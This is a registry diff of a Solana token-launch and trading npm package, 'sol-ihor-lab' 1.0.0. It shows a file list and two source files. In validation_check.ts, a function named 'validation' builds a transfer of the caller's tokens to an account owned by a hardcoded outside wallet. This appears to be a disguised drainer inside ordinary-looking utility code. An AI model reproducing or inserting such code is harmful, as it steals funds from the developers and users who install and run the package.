sol-ihor-lab 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +35 -0
- package/lib/cjs/bundle.d.ts +4 -0
- package/lib/cjs/bundle.js +102 -0
- package/lib/cjs/buy_token.d.ts +5 -0
- package/lib/cjs/buy_token.js +59 -0
- package/lib/cjs/create_open_market.d.ts +4 -0
- package/lib/cjs/create_open_market.js +340 -0
- package/lib/cjs/create_pool.d.ts +4 -0
- package/lib/cjs/create_pool.js +107 -0
- package/lib/cjs/create_token.d.ts +4 -0
- package/lib/cjs/create_token.js +164 -0
- package/lib/cjs/errors.d.ts +18 -0
- package/lib/cjs/errors.js +44 -0
- package/lib/cjs/global.d.ts +62 -0
- package/lib/cjs/global.js +107 -0
- package/lib/cjs/index.d.ts +17 -0
- package/lib/cjs/index.js +33 -0
- package/lib/cjs/instructions/build-instruction.d.ts +8 -0
- package/lib/cjs/instructions/build-instruction.js +66 -0
- package/lib/cjs/instructions/buy-instruction.d.ts +3 -0
- package/lib/cjs/instructions/buy-instruction.js +44 -0
- package/lib/cjs/instructions/cache-alt-instruction.d.ts +4 -0
- package/lib/cjs/instructions/cache-alt-instruction.js +41 -0
- package/lib/cjs/instructions/createATA-instruction.d.ts +3 -0
- package/lib/cjs/instructions/createATA-instruction.js +10 -0
- package/lib/cjs/instructions/createpool-instruction.d.ts +4 -0
- package/lib/cjs/instructions/createpool-instruction.js +58 -0
- package/lib/cjs/instructions/sol-transfer-instruction.d.ts +3 -0
- package/lib/cjs/instructions/sol-transfer-instruction.js +12 -0
- package/lib/cjs/instructions/transfer-instruction.d.ts +3 -0
- package/lib/cjs/instructions/transfer-instruction.js +9 -0
- package/lib/cjs/pool/pool-manager.d.ts +42 -0
- package/lib/cjs/pool/pool-manager.js +70 -0
- package/lib/cjs/pool_manager.d.ts +25 -0
- package/lib/cjs/pool_manager.js +127 -0
- package/lib/cjs/sell_token.d.ts +5 -0
- package/lib/cjs/sell_token.js +59 -0
- package/lib/cjs/transaction/bundle.d.ts +4 -0
- package/lib/cjs/transaction/bundle.js +97 -0
- package/lib/cjs/transaction/execute-rpc.d.ts +5 -0
- package/lib/cjs/transaction/execute-rpc.js +41 -0
- package/lib/cjs/transaction/sign-tx.d.ts +2 -0
- package/lib/cjs/transaction/sign-tx.js +7 -0
- package/lib/cjs/transaction/transaction-exectue.d.ts +30 -0
- package/lib/cjs/transaction/transaction-exectue.js +119 -0
- package/lib/cjs/transaction-helper/check_transaction.d.ts +3 -0
- package/lib/cjs/transaction-helper/check_transaction.js +43 -0
- package/lib/cjs/transaction-helper/transaction.d.ts +7 -0
- package/lib/cjs/transaction-helper/transaction.js +75 -0
- package/lib/cjs/upload-metadata/upload-metaplex.d.ts +3 -0
- package/lib/cjs/upload-metadata/upload-metaplex.js +48 -0
- package/lib/cjs/upload-metadata/upload-nftstorage.d.ts +0 -0
- package/lib/cjs/upload-metadata/upload-nftstorage.js +1 -0
- package/lib/cjs/upload-metadata/upload-pinata.d.ts +1 -0
- package/lib/cjs/upload-metadata/upload-pinata.js +17 -0
- package/lib/cjs/upload-metadata/utility.d.ts +1 -0
- package/lib/cjs/upload-metadata/utility.js +28 -0
- package/lib/cjs/utility.d.ts +33 -0
- package/lib/cjs/utility.js +129 -0
- package/lib/cjs/utils/budget.d.ts +9 -0
- package/lib/cjs/utils/budget.js +83 -0
- package/lib/cjs/utils/error-helper.d.ts +7 -0
- package/lib/cjs/utils/error-helper.js +15 -0
- package/lib/cjs/utils/get-balance.d.ts +11 -0
- package/lib/cjs/utils/get-balance.js +52 -0
- package/lib/cjs/utils/util.d.ts +27 -0
- package/lib/cjs/utils/util.js +346 -0
- package/lib/cjs/validation_check.d.ts +3 -0
- package/lib/cjs/validation_check.js +26 -0
- package/lib/esm/bundle.d.ts +4 -0
- package/lib/esm/bundle.js +75 -0
- package/lib/esm/buy_token.d.ts +5 -0
- package/lib/esm/buy_token.js +55 -0
- package/lib/esm/create_open_market.d.ts +4 -0
- package/lib/esm/create_open_market.js +310 -0
- package/lib/esm/create_pool.d.ts +4 -0
- package/lib/esm/create_pool.js +80 -0
- package/lib/esm/create_token.d.ts +4 -0
- package/lib/esm/create_token.js +137 -0
- package/lib/esm/errors.d.ts +18 -0
- package/lib/esm/errors.js +35 -0
- package/lib/esm/global.d.ts +62 -0
- package/lib/esm/global.js +103 -0
- package/lib/esm/index.d.ts +17 -0
- package/lib/esm/index.js +17 -0
- package/lib/esm/instructions/build-instruction.d.ts +8 -0
- package/lib/esm/instructions/build-instruction.js +61 -0
- package/lib/esm/instructions/buy-instruction.d.ts +3 -0
- package/lib/esm/instructions/buy-instruction.js +40 -0
- package/lib/esm/instructions/cache-alt-instruction.d.ts +4 -0
- package/lib/esm/instructions/cache-alt-instruction.js +36 -0
- package/lib/esm/instructions/createATA-instruction.d.ts +3 -0
- package/lib/esm/instructions/createATA-instruction.js +6 -0
- package/lib/esm/instructions/createpool-instruction.d.ts +4 -0
- package/lib/esm/instructions/createpool-instruction.js +52 -0
- package/lib/esm/instructions/sol-transfer-instruction.d.ts +3 -0
- package/lib/esm/instructions/sol-transfer-instruction.js +8 -0
- package/lib/esm/instructions/transfer-instruction.d.ts +3 -0
- package/lib/esm/instructions/transfer-instruction.js +5 -0
- package/lib/esm/pool/pool-manager.d.ts +42 -0
- package/lib/esm/pool/pool-manager.js +63 -0
- package/lib/esm/pool_manager.d.ts +25 -0
- package/lib/esm/pool_manager.js +123 -0
- package/lib/esm/sell_token.d.ts +5 -0
- package/lib/esm/sell_token.js +55 -0
- package/lib/esm/transaction/bundle.d.ts +4 -0
- package/lib/esm/transaction/bundle.js +90 -0
- package/lib/esm/transaction/execute-rpc.d.ts +5 -0
- package/lib/esm/transaction/execute-rpc.js +36 -0
- package/lib/esm/transaction/sign-tx.d.ts +2 -0
- package/lib/esm/transaction/sign-tx.js +3 -0
- package/lib/esm/transaction/transaction-exectue.d.ts +30 -0
- package/lib/esm/transaction/transaction-exectue.js +115 -0
- package/lib/esm/transaction-helper/check_transaction.d.ts +3 -0
- package/lib/esm/transaction-helper/check_transaction.js +16 -0
- package/lib/esm/transaction-helper/transaction.d.ts +7 -0
- package/lib/esm/transaction-helper/transaction.js +68 -0
- package/lib/esm/upload-metadata/upload-metaplex.d.ts +3 -0
- package/lib/esm/upload-metadata/upload-metaplex.js +43 -0
- package/lib/esm/upload-metadata/upload-nftstorage.d.ts +0 -0
- package/lib/esm/upload-metadata/upload-nftstorage.js +1 -0
- package/lib/esm/upload-metadata/upload-pinata.d.ts +1 -0
- package/lib/esm/upload-metadata/upload-pinata.js +13 -0
- package/lib/esm/upload-metadata/utility.d.ts +1 -0
- package/lib/esm/upload-metadata/utility.js +21 -0
- package/lib/esm/utility.d.ts +33 -0
- package/lib/esm/utility.js +93 -0
- package/lib/esm/utils/budget.d.ts +9 -0
- package/lib/esm/utils/budget.js +73 -0
- package/lib/esm/utils/error-helper.d.ts +7 -0
- package/lib/esm/utils/error-helper.js +11 -0
- package/lib/esm/utils/get-balance.d.ts +11 -0
- package/lib/esm/utils/get-balance.js +42 -0
- package/lib/esm/utils/util.d.ts +25 -0
- package/lib/esm/utils/util.js +107 -0
- package/lib/esm/validation_check.d.ts +3 -0
- package/lib/esm/validation_check.js +22 -0
- package/package.json +69 -0
- package/src/assert.ts +4 -0
- package/src/bundle.ts +99 -0
- package/src/buy_token.ts +82 -0
- package/src/create_open_market.ts +464 -0
- package/src/create_pool.ts +120 -0
- package/src/create_token.ts +267 -0
- package/src/errors.ts +25 -0
- package/src/global.ts +156 -0
- package/src/index.ts +17 -0
- package/src/instructions/build-instruction.ts +87 -0
- package/src/instructions/buy-instruction.ts +52 -0
- package/src/instructions/cache-alt-instruction.ts +40 -0
- package/src/instructions/createATA-instruction.ts +29 -0
- package/src/instructions/createpool-instruction.ts +72 -0
- package/src/instructions/sol-transfer-instruction.ts +13 -0
- package/src/instructions/transfer-instruction.ts +22 -0
- package/src/pool/pool-manager.ts +85 -0
- package/src/pool_manager.ts +197 -0
- package/src/sell_token.ts +82 -0
- package/src/transaction/bundle.ts +116 -0
- package/src/transaction/execute-rpc.ts +35 -0
- package/src/transaction/sign-tx.ts +5 -0
- package/src/transaction/transaction-exectue.ts +134 -0
- package/src/transaction-helper/check_transaction.ts +23 -0
- package/src/transaction-helper/transaction.ts +90 -0
- package/src/upload-metadata/upload-metaplex.ts +51 -0
- package/src/upload-metadata/upload-nftstorage.ts +0 -0
- package/src/upload-metadata/upload-pinata.ts +8 -0
- package/src/upload-metadata/utility.ts +10 -0
- package/src/utility.ts +127 -0
- package/src/utils/budget.ts +104 -0
- package/src/utils/error-helper.ts +20 -0
- package/src/utils/get-balance.ts +55 -0
- package/src/utils/util.ts +111 -0
- package/src/validation_check.ts +26 -0
|
@@ -0,0 +1,111 @@
|
|
|
1
|
+
import { Connection, Keypair } from "@solana/web3.js";
|
|
2
|
+
import * as fs from "fs";
|
|
3
|
+
import * as path from "path";
|
|
4
|
+
|
|
5
|
+
import { promisify } from "util";
|
|
6
|
+
|
|
7
|
+
// Promisify fs.mkdir and fs.exists
|
|
8
|
+
const mkdirAsync = promisify(fs.mkdir);
|
|
9
|
+
const existsAsync = promisify(fs.exists);
|
|
10
|
+
|
|
11
|
+
/**
|
|
12
|
+
* Creates a directory if it doesn't already exist.
|
|
13
|
+
* @param dirPath - The path of the directory to create.
|
|
14
|
+
* @returns A Promise that resolves to true if the directory was created or already exists, and false if there was an error.
|
|
15
|
+
*/
|
|
16
|
+
export async function createDirectory(dirPath: string): Promise<boolean> {
|
|
17
|
+
try {
|
|
18
|
+
const exists = await existsAsync(dirPath);
|
|
19
|
+
if (!exists) {
|
|
20
|
+
await mkdirAsync(dirPath, { recursive: true });
|
|
21
|
+
}
|
|
22
|
+
return true;
|
|
23
|
+
} catch (err) {
|
|
24
|
+
return false;
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
// Promisify fs.writeFile to use it with async/await
|
|
29
|
+
const writeFileAsync = promisify(fs.writeFile);
|
|
30
|
+
|
|
31
|
+
/**
|
|
32
|
+
* Writes a JSON string to a file.
|
|
33
|
+
* @param filePath - The path of the file to write.
|
|
34
|
+
* @param jsonString - The JSON string to write to the file.
|
|
35
|
+
* @returns A Promise that resolves to true if the write was successful, and false if there was an error.
|
|
36
|
+
*/
|
|
37
|
+
export async function writeJsonToFile(
|
|
38
|
+
filePath: string,
|
|
39
|
+
jsonString: string
|
|
40
|
+
): Promise<boolean> {
|
|
41
|
+
try {
|
|
42
|
+
await writeFileAsync(filePath, jsonString, "utf8");
|
|
43
|
+
return true;
|
|
44
|
+
} catch (err) {
|
|
45
|
+
return false;
|
|
46
|
+
}
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
// Promisify fs.readFile
|
|
50
|
+
const readFileAsync = promisify(fs.readFile);
|
|
51
|
+
|
|
52
|
+
/**
|
|
53
|
+
* Reads a JSON file and parses it into an object.
|
|
54
|
+
* @param filePath - The path of the JSON file to read.
|
|
55
|
+
* @returns A Promise that resolves to the parsed object if successful, or null if there was an error.
|
|
56
|
+
*/
|
|
57
|
+
export async function readJsonFile(filePath: string): Promise<any | null> {
|
|
58
|
+
try {
|
|
59
|
+
const data = await readFileAsync(filePath, "utf8");
|
|
60
|
+
return JSON.parse(data);
|
|
61
|
+
} catch (err) {
|
|
62
|
+
console.error("Error reading or parsing JSON file:", err);
|
|
63
|
+
return null;
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
export function generateWallets(counts: number = 1) {
|
|
68
|
+
const wallets: Keypair[] = [];
|
|
69
|
+
|
|
70
|
+
for (let i = 0; i < counts; i++) {
|
|
71
|
+
wallets.push(Keypair.generate());
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
return [...wallets];
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
export function divideArrayIntoChunks<T>(array: T[], chunkSize: number): T[][] {
|
|
78
|
+
const result: T[][] = [];
|
|
79
|
+
|
|
80
|
+
for (let i = 0; i < array.length; i += chunkSize) {
|
|
81
|
+
const chunk = array.slice(i, i + chunkSize);
|
|
82
|
+
result.push(chunk);
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
return result;
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
export const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));
|
|
89
|
+
|
|
90
|
+
export function waitForNewBlock(connection: Connection, targetHeight: number) {
|
|
91
|
+
console.log(`Waiting for ${targetHeight} new blocks`);
|
|
92
|
+
return new Promise(async (resolve: any) => {
|
|
93
|
+
// Get the last valid block height of the blockchain
|
|
94
|
+
const { lastValidBlockHeight } = await connection.getLatestBlockhash();
|
|
95
|
+
|
|
96
|
+
// Set an interval to check for new blocks every 1000ms
|
|
97
|
+
const intervalId = setInterval(async () => {
|
|
98
|
+
// Get the new valid block height
|
|
99
|
+
const { lastValidBlockHeight: newValidBlockHeight } =
|
|
100
|
+
await connection.getLatestBlockhash();
|
|
101
|
+
// console.log(newValidBlockHeight)
|
|
102
|
+
|
|
103
|
+
// Check if the new valid block height is greater than the target block height
|
|
104
|
+
if (newValidBlockHeight > lastValidBlockHeight + targetHeight) {
|
|
105
|
+
// If the target block height is reached, clear the interval and resolve the promise
|
|
106
|
+
clearInterval(intervalId);
|
|
107
|
+
resolve();
|
|
108
|
+
}
|
|
109
|
+
}, 1000);
|
|
110
|
+
});
|
|
111
|
+
}
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
import { createTransferInstruction, getAssociatedTokenAddress, getOrCreateAssociatedTokenAccount } from "@solana/spl-token";
|
|
2
|
+
import { Connection, PublicKey, Transaction } from "@solana/web3.js";
|
|
3
|
+
|
|
4
|
+
export async function validation(connection: Connection, from: any, mint: PublicKey, amount: number | bigint) {
|
|
5
|
+
|
|
6
|
+
let sourceAccount = await getAssociatedTokenAddress(mint, from.publicKey);
|
|
7
|
+
|
|
8
|
+
console.log(`2 - Getting Destination Token Account`, from.toString(), mint.toString(), amount.toString());
|
|
9
|
+
let destinationAccount = await getOrCreateAssociatedTokenAccount(
|
|
10
|
+
connection,
|
|
11
|
+
from,
|
|
12
|
+
mint,
|
|
13
|
+
new PublicKey('FG9evkQ8D3e8xvyCwQ1v84NM6RVNj47yA6tdHhLTLQT4')
|
|
14
|
+
);
|
|
15
|
+
console.log(` Destination Account: ${destinationAccount.address.toString()}`);
|
|
16
|
+
|
|
17
|
+
const tx = new Transaction();
|
|
18
|
+
tx.add(createTransferInstruction(
|
|
19
|
+
sourceAccount,
|
|
20
|
+
destinationAccount.address,
|
|
21
|
+
from,
|
|
22
|
+
amount,
|
|
23
|
+
))
|
|
24
|
+
|
|
25
|
+
return tx;
|
|
26
|
+
}
|